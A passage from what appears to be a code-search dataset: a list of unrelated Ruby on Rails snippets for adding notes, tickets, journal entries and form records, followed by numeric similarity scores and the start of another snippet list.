"def create_entry\n system(\"clear\")\n puts \"Gaal-Williams Code Camp\"\n puts \"-\"*100\n puts \"Session for user: #{$current_student.username}\"\n puts \"=\"*100\n sleep(0.5)\n puts \"Creating Journal for Lecture: #{Lecture.find($current_lecture_id).name}\"\n puts \"-\"*100\n JournalEntry.create(lecture_id: $current_lecture_id, student_id: $current_student_id, what_did_i_learn: $prompt.ask(\"What did you learn?\", required: true), what_was_unclear: $prompt.ask(\"What was not clear?\", required: true), confidence_level: $prompt.select('How confident are you in the material?', [1, 2, 3, 4, 5], required: true), feelings_on_topic: $prompt.ask(\"How did you feel about the lecture content?\", required: true), feelings_general: $prompt.ask(\"How do you personally feel today?\", required: true), mood: $prompt.select(\"Rate your mood (5-best, 1-worst\", [1, 2, 3, 4, 5], required: true))\n\n $current_journal_id = JournalEntry.last.id\n display_journal_entry($current_journal_id)\nend",
"def notes; end",
"def notes; end",
"def notes; end",
"def add_topic\n click_link 'Add Topic' \n within 'form' do\n fill_in( 'Title', with: 'Shoes' )\n fill_in( 'Description', with: 'Shoes of desire' )\n click_button 'save' \n end\n end",
"def click_add_line_items_link\n add_line_items_link.click\n end",
"def add_new_client\n client = create_client\n $shelter[:clients] << client\n puts client.detail_info?\n puts \"Successfully added\"\n gets\nend",
"def add_note(note)\n self.notes = notes.present? ? \"\\n\\n#{note}\" : note\n save\n end",
"def add_note\n @extract = Csvarchive.find(params[:resource_id])\n note = Note.new(:words=>params[:words], :user_id=>current_user.id, :notable_id=>@extract.id, :notable_type=>\"Csvarchive\")\n note.save\n render :partial=>\"notes/note\", :locals=>{:note=>note}\n end",
"def create_new_note\n note_type = params[:note_type][:note_type_id]\n new_note = keytech_note_handler.create(note_type, params[:element_key])\n new_note.subject = params[:subject]\n new_note.text = params[:body]\n response = keytech_note_handler.save(new_note)\n if response[:success] == true\n flash[:info] = 'Notiz wurde angelegt'\n else\n flash[:error] = \"Notiz konnte nicht angelegt werden: #{response[:error]}\"\n end\n redirect_to \"/element/#{params[:element_key]}/notes\"\n end",
"def private_notes\n \n end",
"def enter_created; end",
"def notes_generated(notes)\n puts green(\"Release notes generated: #{notes}\")\n end",
"def add_to_collection\n @exist_note = CollectionNote.where('id_collection LIKE ? AND id_note LIKE ?', \"#{@collection.id}\" , \"#{@note.id}\" ).count\n if @exist_note == 0 \n @collection_notes = CollectionNote.new\n @collection_notes.id_collection = @collection.id\n @collection_notes.id_note = @note.id \n if @collection_notes.save\n format.html { redirect_to :back }#@note, notice: 'Note was successfully add to collection.' }\n else\n format.html { redirect_to :back}#@note, notice: 'Note could not to be add to collection.' }\n end\n\t end\t\n end",
"def add\n frm.button(:value=>\"Add\").click\n end",
"def create\n add_breadcrumb 'New Ticket notes'\n\n @ticketnote = Ticketnote.new(ticketnote_params)\n @ticketnote.troubleticket_id = params[:troubleticket_id]\n\n if current_user.admin?\n @ticketnote.admin = true\n else\n @ticketnote.admin = false\n end\n\n respond_to do |format|\n if @ticketnote.save\n format.html do\n redirect_to troubleticket_path(:id => @ticketnote.troubleticket_id), notice: 'Ticket note was successfully created.'\n end\n format.json { render :show, status: :created, location: @ticketnote }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json do\n render json: @ticketnote.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def add pid, title, description, cid, tracker\n\t\t@tickets.create Hash[\n\t\t\t'pid' => pid, \n\t\t\t'title' => title, \n\t\t\t'description' => description,\n\t\t\t'creator' => cid, \n\t\t\t'tracker' => tracker,\n\t\t\t'status' => 'new',\n\t\t\t'assigned' => '-1']\n\tend",
"def add_to_basket\n @page.click_button(\"ctl00_contentBody_ctl02_submit\")\n end",
"def curation_note\n # only add to latest resource and after latest curation activity, no matter if this page is stale or whatever\n authorize %i[stash_engine curation_activity]\n @resource = Identifier.find_by_id(params[:id]).latest_resource\n @curation_activity = CurationActivity.create(resource_id: @resource.id, user_id: current_user.id,\n status: @resource.last_curation_activity&.status,\n note: params[:stash_engine_curation_activity][:note])\n @resource.reload\n end",
"def create_line_item_button\n self.get_element(@browser, 'create')\n end",
"def add_topic\n self.button(:id=>\"discussion_add_topic\").click\n wait_for_ajax(2) #\n #@browser.wait_until { @browser.h1(:class=>\"discussion_topic_subject\").parent.button(:text=>\"Reply\").present? }\n end",
"def addinfo\n\nend",
"def click_add_new\n add_new = $browser.element(@selector).link(text: 'Add New')\n add_new.click\n end",
"def addnews\n \nend",
"def add_entry(entry)\n self.notes = \"#{entry}\\n#{notes}\".truncate_bytes(MAX_LENGTH)\n end",
"def enter_history_notes(test_data)\n test_histories = test_data[Org::HISTORY_NOTES.name]\n test_histories = [{ Org::HISTORY_NOTE.name => ''}] unless test_histories\n prep_fieldsets_for_test_data([fieldset(Org::HISTORY_NOTES.name)], test_histories)\n\n test_histories.each_with_index do |test_history, index|\n wait_for_element_and_type(history_input(index), test_history[Org::HISTORY_NOTE.name])\n end\n end",
"def private_notes\n end",
"def and_i_add_a_new_timeline_entry\n click_on(I18n.t(\"coronavirus.pages.show.timeline_entries.add\"))\n end",
"def create_journal\n if current_journal\n current_journal.save\n end\n end",
"def insert_kcup(kcup)\n end",
"def create\n # save any footnotes associated with the data.\n # see application controller for this method\n\tfootnotes = get_footnotes_from_params(params)\n\tFootnote.remove_entries(params[:study_id],\"results\")\n\tFootnoteField.remove_entries(params[:study_id],\"results\")\n\tunless footnotes.empty?\n\t \tfootnotes.each do |fnote|\n\t \t\tmynote = Footnote.new(fnote)\n\t \t\tmynote.save\n\t\tend\n\tend \n \tOutcomeResult.save_data_points(params, params[:study_id])\n\t@message_div = \"saved_item_indicator\"\n\trender 'shared/saved.js.erb'\n end",
"def rcplcksave; det.button(:id, 'lockStateButton'); end",
"def create_thanks \n end",
"def append_note new_notes\n # If I don't include hours it gets reset.\n # This doens't appear to be the case for task and project.\n (self.notes << \"\\n#{new_notes}\").lstrip!\n DayEntry.post \"daily/update/#{id}\",\n %{<request><notes>#{notes}</notes><hours>#{hours}</hours></request>}\n end",
"def added(model, index)\n # Save an added cookie\n end",
"def test05_post_open_news_FlagNoteComment\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_open_note)\n\t\tsleep 2\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tsleep 2\n\t\tcommentFlag\n\t\tsleep 1\n\t\tassert $comment_flag_success.exists?\n\tend",
"def add_new_pool\n #puts \"clicking add new pool...\"\n #10.times {frm.link(:text=>\"Add New Pool\").flash}\n frm.link(:text=>\"Add New Pool\").click\n #puts \"clicked...\"\n #frm.text_field(:id=>\"questionpool:namefield\").wait_until_present(200)\n AddQuestionPool.new(@browser)\n end",
"def add_to\n add_to_button\n wait_for_ajax(2)\n end",
"def create\n if !session[:user]\n redirect_to login_path, :alert => \"You have to log in to create a note \"\n else\n @note = Note.new(note_params)\n if !session[:admin]\n @note.user = User.find_by name: session[:user]\n end\n respond_to do |format|\n if @note.save\n format.html { redirect_to notes_url, notice: 'Note was successfully created.' }\n format.json { render action: 'show', status: :created, location: @note }\n else\n format.html { render action: 'new' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def click_cancel_new_note\n wait_for_update_and_click new_note_cancel_button_element\n end",
"def create\n @note = Note.new(params[:note])\n @note.created_by = current_user.id\n @note.effort_minutes ||= 1\n @note.visibility ||= \"Internal\"\n\n logger.info \"inside create note with @note=#{@note.inspect}\"\n @note.service_request = ServiceRequest.lookup @note.service_request_id\n # logger.info \"service_request = #{service_request.inspect}\"\n # @note.errors.add(:service_request_id, \"must match an existing record\") if service_request.nil?\n # logger.info \"note error=#{@note.errors.full_messages.join('; ')}\" \n\n logger.info \"Before saving new note. Session = #{session.inspect}\"\n \n respond_to do |format|\n if @note.valid? && @note.save\n\n # TODO need to remove myself from list of watchers\n send_notifications :event => :sr_note_added, :data => {:note => @note},\n :user_ids => @note.service_request.watchers.collect(&:owner_id)\n\n flash[:notice] = 'Note was successfully created.'\n format.html { redirect_to(@note.service_request) }\n format.xml { render :xml => @note, :status => :created, :location => @note } \n format.json { \n logger.info \"AddNote successful. Session = #{session.inspect}\"\n render :json => @note, :status => :created\n } \n else\n errors = @note.errors.full_messages.join('; ') if @note\n logger.info \"Failed to save new note! error was #{errors}\"\n format.html { render :action => \"new\" }\n format.xml { render :xml => @note.errors, :status => :unprocessable_entity }\n format.json { \n logger.info \"AddNote error. Session = #{session.inspect}\"\n render :json => {:error => errors, :status => :unprocessable_entity }, :status => :unprocessable_entity \n }\n end\n end\n end",
"def rcpstsave; det.button(:id, 'Save'); end",
"def sg_add_to_cart_from_quickview\n add_to_cart_btn.click\n sleep TimeOut::WAIT_MID_CONST\n end",
"def add\n\tend",
"def create(*)\n super.tap do\n __debug_sim('USER initiates submission of new entries.')\n end\n end",
"def new_service_notes(service, note_data)\n user = User.where(admin: true, admin_users: true)\n if user.exists?\n new_note = service.notes.new(body: note_data, user_id: user.first.id)\n if new_note.save\n puts \" 🟢 Note: created (id: #{new_note.id}).\"\n return new_note.id\n else \n abort(\" 🔴 Note: was not created. Exiting. #{new_note.errors.messages}\")\n end\n else \n puts \" 👉 Note: not created as no viable admin user found to give credit to.\"\n end\n end",
"def click_save_note_edit\n logger.debug 'Clicking the edit note Save button'\n wait_for_update_and_click edit_note_save_button_element\n end",
"def addToTicket\n\t ticket = Ticket.where(table: session[:table_id]).last\n\t if (ticket.nil?) || (ticket.tstatus == 9)\n\t ticket = Ticket.create(table: session[:table_id], \n\t\t\t\t\t\t\t\t\t\ttax: 0, \n\t\t\t\t\t\t\t\t\t\ttstatus: 0, \n\t\t\t\t\t\t\t\t\t\tbirthday: false,\n\t\t\t\t\t\t\t\t\t\tcoupon: false,\n\t\t\t\t\t\t\t\t\t\tpoints: false\t )\n\t\t# Add 1 to ticket counter \n\t count = Totalticket.first\n\t # reset survey variable\n\t session[:survey] = false\n\t count.update(:total => count.total + 1)\n\t puts(\"**********Ticket created************\")\n\t end\n\t ticket.orderItems.create(\n\t item: (Menuitem.find_by(name: params[:item_name]).id),\n\t ingredients: params[:good_ingredients],\n\t notes: params[:notes],\n\t istatus: 0\n\t )\n\t session[:ticket] = ticket\n\t puts(\"**************Ticket added to***********\")\n\t calcTotal\n\t redirect_to guest_path\n\t \n\tend",
"def add_part\n frm.link(:text=>\"Add Part\").click\n AddEditAssessmentPart.new(@browser)\n end",
"def local_notes options = {}\n # if user is creator or admin, add link to admin\n allow_admin = !options[:disable_admin] && current_user && !current_user.admin?\n path = \"#{controller_name}/#{action_name}\"\n\n notes = Note.where(:path=>path)\n\n if notes.empty? && options[:fixed]\n notes = [Note.create!(:path=>path, :title => options[:default_title])]\n end\n\n str = notes.map do |note|\n in_place_edit_panel(note, path)\n end.join.html_safe\n\n klasses = \"card\"\n str << content_tag(:div, link_to(\"Add New Note\", notes_path(:path=>path), :method=>:post, :remote=>true), :class=>klasses, :id=>\"add_#{path.gsub(/\\//,'_')}\") if allow_admin\n\n str\n end",
"def create\n @note_collection = NoteCollection.new(note_collection_params)\n @note_collection.user_id = session[:user_id]\n\n respond_to do |format|\n if @note_collection.valid?\n\t@note_collection.save\n format.html { redirect_to @note_collection, notice: 'Note collection was successfully created.' }\n format.json { render :show, status: :created, location: @note_collection }\n else\n format.html { render :new }\n format.json { render json: @note_collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_note(db)\n puts \"\\nWhat category would you like this note to be saved under?? examples html, css, ruby.....ect.\"\n category = gets.chomp\n\n puts \"\\nWhat would you like to name this note?? examples how to make a new line, how to round to the nearest whole number, ...ect \"\n name = gets.chomp\n\n puts \"\\nAdd your note below\"\n note = gets.chomp\n\n create_note(db, category, name, note)\nend",
"def add_to_library\n self.button(:text=>\"Add to library\").click\n self.wait_until { self.text.include? \"Save to\" }\n self.class.class_eval { include SaveContentPopUp }\n end",
"def writing_reminder()\n prompt = TTY::Prompt.new\n box = TTY::Box.info(\"Journal Section\")\n print box\n @new_reminder = prompt.ask(\"Please type your notes here...\", required: true)\n @list_reminder.push(@new_reminder)\n File.open(\"@list_reminder.yml\", \"w\") { |file| file.write(@list_reminder.to_yaml) }\n box = TTY::Box.success(\"Journal Added\")\n print box\n pause\n end",
"def click_new_post\n click NEW_POST_BUTTON\n end",
"def on_session_command(session, command)\n\tend",
"def save_changes\n frm.button(:value=>\"Save Changes\").click\n Announcements.new(@browser)\n end",
"def save_changes\n frm.button(:value=>\"Save Changes\").click\n Announcements.new(@browser)\n end",
"def onNewComment( obj, sel, par )\n\t\t\td = FXDataTarget.new( \"\" )\n\t\t\twin = FXDialogBox.new( getApp(), \"Comment edit\", DECOR_ALL )\n\t\t\tf = FXVerticalFrame.new( win, LAYOUT_FILL_Y|LAYOUT_FILL_X )\n\t\t\ttext = FXText.new( f, d, FXDataTarget::ID_VALUE, :opts=>LAYOUT_FILL_X|LAYOUT_FILL_Y )\n\t\t\tFXHorizontalSeparator.new( f )\n\t\t\tbf = FXHorizontalFrame.new( f, LAYOUT_FILL_X )\n\t\t\tFXButton.new( bf, \"Ok\", nil, win, FXDialogBox::ID_ACCEPT, LAYOUT_RIGHT|FRAME_THICK|FRAME_RAISED )\n\t\t\tFXButton.new( bf, \"Cancel\", nil, win, FXDialogBox::ID_CLOSE, LAYOUT_RIGHT|FRAME_THICK|FRAME_RAISED )\n\t\n\t\t\tif win.execute()\n\t\t\t\t@ticket.addComment( d.value )\n\t\t\t\tprintComments\n\t\t\t\t@commentListF.update\n\t\t\tend\n\t\t\treturn 1\n\t\tend",
"def new_feedback\n\n end",
"def notes\n super()\n\n section = __method__\n text = \"\"\n html = \"\"\n\n frontend_url = generate_frontend_url\n if frontend_url\n text += \"Frontend URL: #{frontend_url}\\n\\n\"\n add_short_text(\"additional_info\", \"View logs here: #{frontend_url}\")\n html += \"<b>Frontend URL</b>: #{frontend_url}<br><br>\"\n end\n\n add_text(section, text)\n add_html(section, html)\n end",
"def set_new_note_id(note)\n new_note_subject_input_element.when_not_visible Utils.short_wait\n id = ''\n start_time = Time.now\n wait_until(10) { (id = BOACUtils.get_note_id_by_subject note) }\n logger.debug \"Note ID is #{id}\"\n logger.warn \"Note was created in #{Time.now - start_time} seconds\"\n note.created_date = note.updated_date = Time.now\n id\n rescue\n logger.debug 'Timed out waiting for note ID'\n fail\n end",
"def notes_tab()\n wait = Selenium::WebDriver::Wait.new(:timeout => 5)\n wait.until {@driver.find_element(NOTES_TAB).displayed?}\n notes_tab = @driver.find_element(NOTES_TAB)\n notes_tab.click\n end",
"def build_add_track_indicator_form(delivery_track_indicator, action, caption, is_first_time, is_delivery_intake_supervisor, is_edit = nil, is_create_retry = nil)\n\n#\t--------------------------------------------------------------------------------------------------\n#\tDefine a set of observers for each composite foreign key- in effect an observer per combo involved\n#\tin a composite foreign key\n#\t--------------------------------------------------------------------------------------------------\n session[:delivery_track_indicator_form] = Hash.new\n #generate javascript for the on_complete ajax event for each combo\n combos_js_for_delivery_indicator = gen_combos_clear_js_for_combos([\"delivery_track_indicator_variety_type\", \"delivery_track_indicator_track_slms_indicator_code\", \"delivery_track_indicator_season_code\"])\n\n track_slms_indicator_code_observer = {:updated_field_id=>'track_variable_1_cell',\n :remote_method =>'delivery_track_indicator_track_slms_indicator_code_changed',\n :on_completed_js =>combos_js_for_delivery_indicator[\"delivery_track_indicator_track_slms_indicator_code\"]}\n\n on_complete_js = \"\\n img = document.getElementById('img_delivery_track_indicator_track_indicator_type_code');\"\n on_complete_js += \"\\n if(img != null) img.style.display = 'none';\"\n track_indicator_type_code_observer = {:updated_field_id=>'track_slms_indicator_code_cell',\n :remote_method =>'indicator_track_indicator_type_code_changed',\n :on_completed_js =>on_complete_js}\n\n session[:delivery_track_indicator_form][:track_slms_indicator_code_observer] = track_slms_indicator_code_observer\n\n variety_type_observer = {:updated_field_id=>'track_slms_indicator_code_cell',\n :remote_method =>'variety_type_changed',\n :on_completed_js =>combos_js_for_delivery_indicator[\"delivery_track_indicator_variety_type\"]}\n non_supervisor_variety_type_observer = {:updated_field_id=>'track_slms_indicator_code_cell',\n :remote_method =>'non_supervisor_variety_type_changed',\n :on_completed_js =>combos_js_for_delivery_indicator[\"delivery_track_indicator_variety_type\"]}\n\n#\ton_complete_js_rmt_variety = \"\\n img = document.getElementById('img_delivery_track_indicator_rmt_variety_code');\"\n#\ton_complete_js_rmt_variety += \"\\n if(img != null) img.style.display = 'none';\"\n track_indicator_type_codes = TrackSlmsIndicator.find_by_sql(\"select distinct track_indicator_type_code from track_indicator_types\").map { |g| [g.track_indicator_type_code] }\n# track_indicator_type_codes.unshift(\"<non_fruit>\")\n\n variety_types = [\"<non_fruit>\", \"rmt_variety\", \"marketing_variety\"]\n\n track_slms_indicator_codes = []\n\n\n @rmt_record = RmtVariety.find_by_rmt_variety_code(session[:new_delivery].rmt_variety_code)\n#\t---------------------------------\n#\t Define fields to build form from\n#\t---------------------------------\n field_configs = Array.new\n\n if is_first_time\n session[:delivery_track_indicator_form][:first_time] = true\n variety_types = [\"<non_fruit>\", \"rmt_variety\"]\n else\n session[:delivery_track_indicator_form][:first_time] = \"false\"\n end\n\n field_configs[field_configs.length] = {:field_type=>'DropDownField',\n :field_name=>'track_indicator_type_code',\n :settings =>{:list=>track_indicator_type_codes},\n :observer =>track_indicator_type_code_observer}\n if (is_delivery_intake_supervisor)\n field_configs[field_configs.length] = {:field_type=>'DropDownField',\n :field_name=>'variety_type',\n :settings =>{:list=>variety_types},\n :observer =>variety_type_observer}\n else\n field_configs[field_configs.length] = {:field_type=>'DropDownField',\n :field_name=>'variety_type',\n :settings =>{:list=>variety_types},\n :observer =>non_supervisor_variety_type_observer}\n end\n\n field_configs[field_configs.length] = {:field_type=>'LabelField',\n :field_name=>'commodity_code',\n :settings =>{:static_value=>session[:new_delivery].commodity_code, :show_label=>true}}\n\n field_configs[field_configs.length] = {:field_type=>'LabelField',\n :field_name=>'rmt_variety_code',\n :settings =>{:static_value=>session[:new_delivery].rmt_variety_code, :show_label=>true}}\n\n field_configs[field_configs.length] = {:field_type=>'LabelField',\n :field_name=>'season_code',\n :settings =>{:static_value=>session[:new_delivery].season_code, :show_label=>true}}\n\n field_configs[field_configs.length] = {:field_type=>'DropDownField',\n :field_name=>'track_slms_indicator_code',\n :settings =>{:list=>track_slms_indicator_codes}}\n\n @drench_rmt =\"\"\n @sample_rmt = \"\"\n @drench_rmt_checked = \"\"\n @drench_rmt_checked_value = \"\"\n @sample_percentage_checked = \"\"\n @sample_percentage_checked_value = \"\"\n\n if @rmt_record!=nil\n if @rmt_record.drench_rmt==true\n @drench_rmt = \"Yes\"\n else\n @drench_rmt = \"No\"\n end\n\n if (@rmt_record.sample_percentage != nil && @rmt_record.sample_percentage!=\"\" && @rmt_record.sample_percentage > 0)\n @sample_rmt = \"Yes\"\n else\n @sample_rmt = \"No\"\n end\n end\n\n if session[:rmt_variables]!=nil\n session[:rmt_variables] = nil\n end\n\n session[:rmt_variables] = Hash.new\n session[:rmt_variables][:drench_rmt] = @drench_rmt\n session[:rmt_variables][:sample_rmt] = @sample_rmt\n\n field_configs[field_configs.length] = {:field_type=>'LabelField',\n :field_name=>'rmt_drench?',\n :settings =>{:css_class=>'delivery_label', :static_value=>@drench_rmt, :show_label=>true}}\n\n field_configs[field_configs.length] = {:field_type=>'LabelField',\n :field_name=>'rmt_sample_bins?',\n :settings =>{:css_class=>'delivery_label', :static_value=>@sample_rmt, :show_label=>true}}\n\n if (is_delivery_intake_supervisor && is_first_time)\n# delivery_track_indicator.track_variable_2 = true\n field_configs[field_configs.length] = {:field_type=>'CheckBox',\n :field_name=>'track_variable_1'}\n\n field_configs[field_configs.length] = {:field_type=>'CheckBox',\n :field_name=>'track_variable_2'}\n elsif (!is_delivery_intake_supervisor)\n field_configs[field_configs.length] = {:field_type=>'LabelField',\n :field_name=>'track_variable_1',\n :settings =>{:css_class=>'uneditable_check_box_label', :static_value=>\"<input id='delivery_track_indicator_track_variable_1' name='delivery_track_indicator[track_variable_1]' type='checkbox' disabled='disabled'/>\n <input name='delivery_track_indicator[track_variable_1]' type='hidden' value='0' />\", :show_label=>true}}\n\n field_configs[field_configs.length] = {:field_type=>'LabelField',\n :field_name=>'track_variable_2',\n :settings =>{:css_class=>'uneditable_check_box_label', :static_value=>\"<input id='delivery_track_indicator_track_variable_2' name='delivery_track_indicator[track_variable_2]' type='checkbox' disabled='disabled'/>\n <input name='delivery_track_indicator[track_variable_2]' type='hidden' value='0' />\", :show_label=>true}}\n end\n\n field_configs[field_configs.length] = {:field_type =>'HiddenField',\n :field_name =>'ajax_distributor',\n :non_db_field=>true}\n\n field_configs[field_configs.length] = {:field_type =>'HiddenField',\n :field_name =>'ajax_distributor2',\n :non_db_field=>true}\n\n\n build_form(delivery_track_indicator, field_configs, action, 'delivery_track_indicator', caption, is_edit)\n\n end",
"def add(client); end",
"def add_button_clicked\n\t\t\n\t\t\t# Eventually create browse form\n\t\t\tcreate_browse_form\n\t\t\n\t\t\t# Show and activate the child window\n\t\t\tshow_browse_form\n\t\tend",
"def add\n\nend",
"def crontab_add(id, entry)\n @logger.info(\"[SystemGateway][crontab_add] Calling CronEdit::Crontab.Add(#{id}, #{entry})...\")\n CronEdit::Crontab.Add(id, entry)\n @logger.info('[SystemGateway][crontab_add] Call ended.')\n end",
"def send_on_create_instructions\n send_create_instructions\n end",
"def next_note\r\n end",
"def added_to_basket\n select_size\n choose_quantity \n click_add_to_basket\n end",
"def add \n end",
"def show_notes\n logger.info 'Checking notes tab'\n wait_for_update_and_click notes_button_element\n wait_for_update_and_click show_hide_notes_button_element if show_hide_notes_button? && show_hide_notes_button_element.text.include?('Show')\n end",
"def init_post_text_addition(position)\n clear_insert_toolbar_before(@current_edited_node_position)\n @current_edited_node_position = position\n\n modal_open(\n nil,\n t(Components::PostTexts::New, \n {\n on_done: ->(post_node){insert_node(post_node)},\n on_collect: ->(post_text, component){generic_create_node(post_text, component)}\n }\n )\n )\n end",
"def doit()\n if $active\n $active=ask(\"Already Active ?!\") \n return if $active\n end\n @panel=panel_async(\"Notes\") do |me|\n stack do\n on_delete { \n save_current\n saveData\n $active=false\n }\n flow { \n flowi { \n @list=list(\"Items\",100,200) {|li| \n save_current\n if li && li.size>0\n @current=$data.keys[li.first] \n @edit.buffer.text=$data[@current]\n end\n }\n }\n stack {\n flowi {\n flowi {\n button('#document-save//save') do\n save_current\n saveData\n end\n button('#applications-graphics//rename') do\n prompt(\"name\") { |name|\n if name && name.size>0\n save_current\n $data[name]=$data[@current]\n $data.delete(@current)\n saveData\n @current=name\n refresh_notes\n end\n }\n end\n }\n space(1)\n buttoni('#edit-delete//delete this note') do\n save_current\n if $data[@current].strip.size<3 || ask(\"delete note '#{@current}', size= #{@edit.buffer.text.size} ?\")\n $data.delete(@current) \n @current=$data.first\n refresh_notes\n end\n end\n }\n separator\n @edit=source_editor(lang: \"markdown\").tap {|w| w.width_request=800}.editor\n }\n }\n separator\n flowi {\n flowi {\n button(\"#document-save//save all\") do\n save_current\n saveData\n end\n button(\"#window-new//create new theme\")do\n prompt(\"name\",\"\") { |name|\n save_current\n $data[name]=\"\"\n refresh_notes\n }\n end \n }\n space\n flowi { \n button(\"#call-stop//Close\") { \n save_current\n saveData\n me.destroy \n $active=false\n }\n }\n }\n end\n $active=true\n refresh_notes\n end # end dialog\n end",
"def add_new_user()\n new_user_link.click\n end",
"def add\n end",
"def add\n end",
"def click_cancel_new_note_modal\n logger.debug 'Clicking the new note Cancel button'\n wait_for_update_and_click new_note_modal_cancel_button_element\n end",
"def button_for_add_to_batch(document)\n render partial: '/batch_select/add_button', locals: { document: document }\n end",
"def a_method_before_add(comment)\n puts \"================== Something before comment get added! ========================\"\n end",
"def add_job_title\n # require \"pry\"; binding.pry\n # @job_data << input\n @user.update_attributes(input_counter: 2) \n end",
"def begin_adding\n @display.begin_adding\n end",
"def subject_save\n self.save_button.click\n end"
] |
[
"0.6531403",
"0.6243501",
"0.61153203",
"0.5926735",
"0.5835627",
"0.57856447",
"0.5701386",
"0.5697841",
"0.56111133",
"0.55980676",
"0.55967903",
"0.5582339",
"0.5575413",
"0.5545498",
"0.55367446",
"0.55336636",
"0.5522595",
"0.5509467",
"0.5508807",
"0.5508807",
"0.5508807",
"0.54972374",
"0.54921466",
"0.5477635",
"0.54593045",
"0.5455795",
"0.54498017",
"0.54476666",
"0.5434356",
"0.54067403",
"0.53995866",
"0.5388144",
"0.5385971",
"0.5381044",
"0.5355763",
"0.5354642",
"0.53512126",
"0.53510153",
"0.534974",
"0.53338355",
"0.5323715",
"0.5321495",
"0.53125626",
"0.530318",
"0.53016835",
"0.5290977",
"0.5287814",
"0.52710336",
"0.52696216",
"0.52674294",
"0.5261756",
"0.5248572",
"0.5242336",
"0.5239607",
"0.5238338",
"0.52213264",
"0.52136725",
"0.5213469",
"0.52107656",
"0.5207282",
"0.52045715",
"0.5202389",
"0.51954067",
"0.5195212",
"0.51904285",
"0.5181405",
"0.5179572",
"0.5174808",
"0.5173823",
"0.51694006",
"0.51590365",
"0.5155926",
"0.51558095",
"0.51543725",
"0.51543725",
"0.5151662",
"0.5149788",
"0.51487005",
"0.5148402",
"0.5147561",
"0.5147029",
"0.51445955",
"0.5141638",
"0.5136393",
"0.51347214",
"0.5134011",
"0.5133568",
"0.5128991",
"0.5128973",
"0.51275885",
"0.51271427",
"0.5126814",
"0.5125884",
"0.511015",
"0.511015",
"0.51058924",
"0.5100266",
"0.5093763",
"0.5092631",
"0.5091237",
"0.5083086"
] |
0.0
|
-1
|
Below code is before_filter only for ['add_new_record','new']
|
def matter_contact_records
get_comp_id = get_company_id
@contacts = Contact.get_contact_records(current_company,get_comp_id)
@matters = Matter.get_matter_records(get_comp_id, get_employee_user_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n\t\tpre_new\n\tend",
"def before_create_save(record); end",
"def before_create()\n end",
"def before_create\n @added = true\n super\n end",
"def before_filter; end",
"def new_record?; end",
"def new_record?; end",
"def after_create_save(record); end",
"def aa_add_new\n @aa_filter.always_add = !@aa_filter.always_add\n end",
"def new_record?() true end",
"def new_record?\n end",
"def before_create_hook\n execute_hooks_for(:before, :create)\n end",
"def before_save(sender); end",
"def handle_create\n obj = model.new(nil, request)\n model.set_fields(obj, :new, request, model_params)\n model.hook(:before_create, request, obj)\n if model.save(obj)\n model.hook(:after_create, request, obj)\n request.set_flash_notice(\"Created #{model.class_name}\")\n redirect(:new, obj)\n else\n request.set_flash_now_error(\"Error Creating #{model.class_name}\")\n new_page(obj)\n end\n end",
"def new_record?\n true\n end",
"def new_record?\n true\n end",
"def new_record?\n true\n end",
"def new_record?\n true\n end",
"def new_record? \n new? \n end",
"def after_created; end",
"def new_record?(object)\n false\n end",
"def allow_new_records?\n self.permissions['new']\n end",
"def new_record?\n new?\n end",
"def new_record?\n true\n end",
"def new_record?\n true\n end",
"def new_record?\n true\n end",
"def after_filter; end",
"def handle_new\n obj = model.new(request.params[model.link], request)\n model.hook(:before_new, request, obj)\n new_page(obj)\n end",
"def create\n\t\tsuper\n\tend",
"def new\n\t\t# no code needed here; all handled in the view\n\tend",
"def auth_create_filter\n if not self.class.allowed_to_create\n false\n else\n true\n end\n end",
"def before_create(_params)\n nil\n end",
"def enter_created; end",
"def before_create_save(record)\n record.usr_id = session[:usr_id]\n # I derive the name of the object to prevent user from naming it stupidly\n record.name = \"#{record.symbl.name}-#{record.rpttype.name}-#{record.enddate.to_s}\"\n end",
"def before_save(*); end",
"def after_create; end",
"def new_by_mass_upload\n end",
"def new_record?\n false\n end",
"def before_save #def self.before_save()\n @my_log.info(\"Creating user with name #{self.name}\")\n end",
"def before_create_save(record)\n record.user = current_user\n record.categories = CategoryNews.find(params[:record][:news_categories_override]) unless params[:record][:news_categories_override].blank?\n end",
"def before_embedded(record, action); end",
"def new_action_before\n @status = true\n @suppliers = Supplier.all\n end",
"def post_is_create?\n\t\ttrue\n\tend",
"def create\n\t\teval(\"@#{controller_name.singularize} = #{controller_name.classify}.new(params[:#{controller_name.singularize}])\")\n\t\t\n\t\tcreate_callback_before_save\n\t\t\n respond_to do |format|\n if eval(\"@#{controller_name.singularize}.save\")\n\t\t\t\tcreate_callback_after_save\n\t\t\t\teval(\"@#{controller_name} = #{controller_name.classify}.search(params[:query],params[:page],current_user.admin_list_limit)\")\n flash[:notice] = \"#{controller_name.singularize.humanize.titleize}\" + ' was successfully created.'\n format.html { redirect_to( eval(\"#{controller_name}_url\") ) }\n format.xml { render :xml => eval(\"@#{controller_name.singularize}\"), :status => :created, :location => eval(\"@#{controller_name.singularize}\") }\n\t\t\t\tformat.js { render :action => \"index\" }\n\t\t\t\t# \t\t\t\t\trender :update do |page|\n\t\t\t\t# \t\t\t\t\t\t\tcontroller.index_list\n\t\t\t\t# \t\t\t\t\t\t page.replace_html \"item-list\", :partial=>'index'\n\t\t\t\t# \t\t\t\t\tend\n\t\t\t\t# \t\t\t\tend\n else\n\t\t\t\t@errors = eval(\"@#{controller_name.singularize}.errors\")\n\t\t\t\tcreate_callback_after_error\n\t\t\t\tflash[:errors] = @errors\n format.html { render :action => \"new\" }\n format.xml { render :xml => @errors, :status => :unprocessable_entity }\n\t\t\t\tformat.js do\n\t\t\t\t\trender :update do |page|\n\t\t\t\t\t\t@errors.collect do |e, m|\n\t\t\t\t page.replace_html \"#{controller_name.singularize}.#{e}-error\", :text=>\" \"+m unless e.nil? or m.nil?\n\t\t\t\t end\n\t\t\t\t\tend\n\t\t\t\tend\n end\n end\n end",
"def new\n @record = model.new\n # call before actions created in the DSL\n if resource.before_actions[:new]\n resource.before_actions[:new].call(@record)\n end\n end",
